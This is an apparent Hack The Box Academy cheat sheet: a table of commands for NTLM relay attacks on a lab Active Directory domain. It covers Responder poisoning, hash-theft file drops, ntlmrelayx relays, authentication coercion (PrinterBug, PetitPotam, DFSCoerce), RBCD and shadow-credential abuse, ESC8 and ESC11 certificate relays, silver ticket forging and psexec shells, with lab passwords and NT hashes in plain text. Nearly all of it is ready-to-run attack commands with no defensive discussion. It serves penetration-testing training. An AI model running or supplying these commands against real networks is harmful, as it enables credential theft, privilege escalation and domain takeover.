HACKTHEBOX

NTLM RELAY ATTACKS
CHEAT SHEET

Enumeration

Command	Description
`python3 Responder.py -I ens192 -A`	Responder Analyze Mode
`python3 Responder.py -I ens192`	Responder Poisoning mode
`python3 RunFinger.py -i 172.16.117.0/24`	Enumerate the network for host with SMB signing off, in addition to finding whether some standard services are running on the host
`crackmapexec smb 172.16.117.0/24 --gen-relay-list relayTargets.txt`	Enumerate the network for host with SMB signing off
`crackmapexec smb 172.16.117.0/24 -u anonymous -p '' --shares`	Enumerate shared folders
`crackmapexec smb 172.16.117.0/24 -u plaintext$ -p o6@ekK5#rlw2rAe -M webdav`	Enumerate WebDav servers

Farming Hashes

Command	Description
`python3 ntlm_theft.py -g all -s 172.16.117.30 -f '@myfile'`	Create NTLM Theft files

Command	Description
`crackmapexec smb 172.16.117.3 -u anonymous -p '' -M slinky -o SERVER=172.16.117.30 NAME=important`	Generate a shortcut .lnk file and set the target to 172.16.117.30
`crackmapexec smb 172.16.117.3 -u anonymous -p '' -M drop-sc -o URL=https://172.16.117.30/testing SHARE=smb FILENAME=@secret`	Generate a shortcut .searchConnector-ms file and set the target to https://172.16.117.30/testing

NTLMRelayx

Command	Description
`ntlmrelayx.py -tf relayTargets.txt -smb2support`	Execute default NTLM Relay attack to the computers defined as targets using the option -tf relayTargets.txt
`ntlmrelayx.py -t 172.16.117.50 -smb2support -c "whoami"`	Execute a command in the target machine
`ntlmrelayx.py -t smb://172.16.117.50`	Single General Target to SMB
`ntlmrelayx.py -t mssql://172.16.117.50`	Single General Target to MSSQL
`ntlmrelayx.py -t ldap://172.16.117.50`	Single General Target to LDAP
`ntlmrelayx.py -t all://172.16.117.50`	Single General Target to All services
`ntlmrelayx.py -t smb://INLANEFREIGHT\\PETER@172.16.117.50`	Single Named Target
`ntlmrelayx.py -tf relayTargets.txt -smb2support -socks`	Using SOCKs Connections
`ntlmrelayx.py -tf relayTargets.txt -smb2support -i`	Interactive SMB Client Shells

Command	Description
`ntlmrelayx.py -t mssql://INLANEFREIGHT\\NPORTS@172.16.117.60 -smb2support -q "SELECT name FROM sys.databases;"`	Query Execution
`ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --lootdir ldap_dump`	Domain Enumeration
`ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --add-computer 'plaintext$'`	Computer Accounts Creation
`ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --escalate-user 'plaintext$' --no-dump -debug`	Privileges Escalation via ACLs Abuse

Coerce Authentication

Command	Description
`python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.3 172.16.117.30`	Abuse MS-RPRN PrinterBug to coerce authentication
`python3 PetitPotam.py 172.16.117.30 172.16.117.3 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -d inlanefreight.local`	Abuse MS-EFSR PetitPotam to coerce authentication
`python3 dfscoerce.py -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' 172.16.117.30 172.16.117.3`	Abuse MS-DFSNM DFSCoerce to coerce authentication
`Coercer scan -t 172.16.117.50 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -d inlanefreight.local -v`	Coercer Scan Mode
`Coercer coerce -t 172.16.117.50 -l 172.16.117.30 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -d inlanefreight.local -v --always-continue`	Coercer coerce Mode

Kerberos RBCD Abuse

Command	Description
`ntlmrelayx.py -t ldaps://INLANEFREIGHT\\'SQL01$'@172.16.117.3 --delegate-access --escalate-user 'plaintext$' --no-smb-server --no-dump`	Kerberos RBCD Abuse
`getST.py -spn cifs/sql01.inlanefreight.local -impersonate Administrator -dc-ip 172.16.117.3 "INLANEFREIGHT"/"plaintext$":"o6@ekK5#rlw2rAe"`	Generate a Ticket
`KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass sql01.inlanefreight.local`	Use the ticket to connect to the target machine using psexec.py

Shadow Credentials

Command	Description
`ntlmrelayx.py -t ldap://INLANEFREIGHT.LOCAL\\CJAQ@172.16.117.3 --shadow-credentials --shadow-target jperez --no-da --no-dump --no-acl`	Execute Shadow Credentials attack, wait for CJAQ account authentication and target jperez account
`python3 gettgtpkinit.py -cert-pfx rbnYdUv8.pfx -pfx-pass NRzoep723H6Yfc0pY91Z INLANEFREIGHT.LOCAL/jperez jperez.ccache`	Loading certificate and key from file
`KRB5CCNAME=jperez.ccache evil-winrm -i dc01.inlanefreight.local -r INLANEFREIGHT.LOCAL`	Use the ticket to connect to the target machine using EvilwinRM

ESC8 Attacks Targeting AD CS

Command	Description
`crackmapexec ldap 172.16.117.0/24 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -M adcs`	Enumerate ADCS Servers
`crackmapexec ldap 172.16.117.3 -u plaintext$ -p 'o6@ekK5#rlw2rAe' -M adcs -o SERVER=INLANEFREIGHT-DC01-CA`	Enumerate ADCS Certificates
`certipy find -enabled -u 'plaintext$'@172.16.117.3 -p 'o6@ekK5#rlw2rAe' -stdout`	Enumerate the CA configuration with Certipy
`ntlmrelayx.py -t http://172.16.117.3/certsrv/certfnsh.asp -smb2support --adcs --template Machine`	Perform AD CS Relay Attacks to a Machine
`python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.50 172.16.117.30`	Coerce SMB NTLM Authentication using printerbug.py
`echo -n "MIIRPQIBAzCCEPcGCSqGSIb3DQEHAaCCEOgg==" | base64 -d > ws01.pfx`	Decode the base64 Certificate to a .PFX File
`python3 gettgtpkinit.py -dc-ip 172.16.117.3 -cert-pfx ws01.pfx 'INLANEFREIGHT.LOCAL/WS01$' ws01.ccache`	Use gettgtpkinit.py to Request the TGT and AS-REP Encryption Key
`KRB5CCNAME=ws01.ccache python3 getnthash.py 'INLANEFREIGHT.LOCAL/WS01$' -key 917ec3b9d13dfb69e42ee05e09a5bf4ac4e52b7b677f1b22412e4deba644ebb2`	Retrieve the NT Hash of WS01$ using getnthash.py

HTB ACADEMY CHEATSHEET

Create a Silver Ticket

Command	Description
`lookupsid.py 'INLANEFREIGHT.LOCAL/WS01$'@172.16.117.3 -hashes :3d3a72af94548ebc7755287a88476460`	Obtain the Domain SID with lookupsid.py
`ticketer.py -nthash 3d3a72af94548ebc7755287a88476460 -domain-sid S-1-5-21-1207890233-375443991-2397730614 -domain inlanefreight.local -spn cifs/ws01.inlanefreight.local Administrator`	Use ticketer.py to Forge a Silver Ticket as Administrator
`KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass ws01.inlanefreight.local`	Use psexec.py to Gain an Interactive Shell Session

ESC11 Attacks Targeting AD CS with Certipy

Command	Description
`certipy relay -target "http://172.16.117.3" -template Machine`	Perform AD CS Relay Attacks to a Machine
`python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.50 172.16.117.30`	Coerce SMB NTLM Authentication using printerbug.py
`certipy auth -pfx ws01.pfx -dc-ip 172.16.117.3`	Certipy authentication with certificate
`certipy relay -target "rpc://172.16.117.3" -ca "INLANEFREIGHT-DC01-CA"`	ESC11 Attack